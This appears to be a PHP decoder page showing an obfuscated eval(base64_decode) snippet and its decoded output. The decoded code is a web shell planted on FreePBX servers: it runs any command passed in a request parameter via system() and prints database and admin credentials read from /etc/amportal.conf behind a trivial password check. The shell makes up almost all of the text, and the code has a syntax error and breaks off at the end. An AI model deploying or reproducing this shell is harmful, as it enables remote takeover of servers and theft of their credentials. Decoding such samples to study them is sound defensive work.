Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /*xxVHS2WEMFo84UaQcicHxjqjQymje*/eval(/*9Mm5tf7qUU6i2bdc1pve72yxlo6IH*/base64_decode..
Decoded Output download
/*7JmIgMOHuxvVz9kcGRa6CHrmWUT9ZP76ytOPgCwKa1FJa0VQS5XvNoSJjLTiB0o9ucYKPvu0waJHbFy3KvyyTrhcdauObTXF5WpVsUWY5FGgkek5JTDDkVQx5klhdjWjgmfIhbGmRmDcBXhlQVY*/
session_start();
if (isset($_REQUEST['p']){
$_SESSION['pop'] = 'logged';
}
if (!isset($_SESSION['pop'])) {
echo '<form action = "" method = "post" ><input size = 60 type = text name = "p" /><input type = submit value = "Mido" /></form>';
exit("Mido");
echo '<form action = "" method = "post" ><input size = 60 type = text name = "c" /><input type = submit value = "do" /></form>';
echo "<xmp>";
@system("grep AMPDB /etc/amportal.conf");
echo "---------------------
";
@system("grep ARI_ADMIN /etc/amportal.conf");
echo "---------------------
";
@system($_REQUEST['c']);
echo "</xmp>";
}
/*7JmIgMOHuxvVz9kcGRa6CHrmWUT9ZP76ytOPgCwKa1FJa0VQS5XvNoSJjLTiB0o9ucYKPvu0waJHbFy3KvyyTrhcdauObTXF5WpVsUWY5FGgkek5JTDDkVQx5klhdjWjgmfIhbGmRmDcBXhlQVY*/
if (isset($_SESSION['pop']) && $_SESSION['pop'] == 'logged' && !isset($_REQUEST['silent'])) {
echo '<form action = "" method = "post" ><input size = 60 type = text name = "c" /><input type = submit value = "do" /></form>';
echo "<xmp>";
@system("grep AMPDB /etc/amportal.conf");
echo "---------------------
";
@system("grep ARI_ADMIN /etc/amportal.conf");
echo "---------------------
";
@system($_REQUEST['c']);
echo "</xmp>";
}else{
echo "<xmp>";
@system($_REQUEST['c']);
echo "</xmp>";
}
/*7JmIgMOHuxvVz9kcGRa6CHrmWUT9ZP76ytOPgCwKa1FJa0VQS5XvNoSJjLTiB0o9ucYKPvu0waJHbFy3Kvy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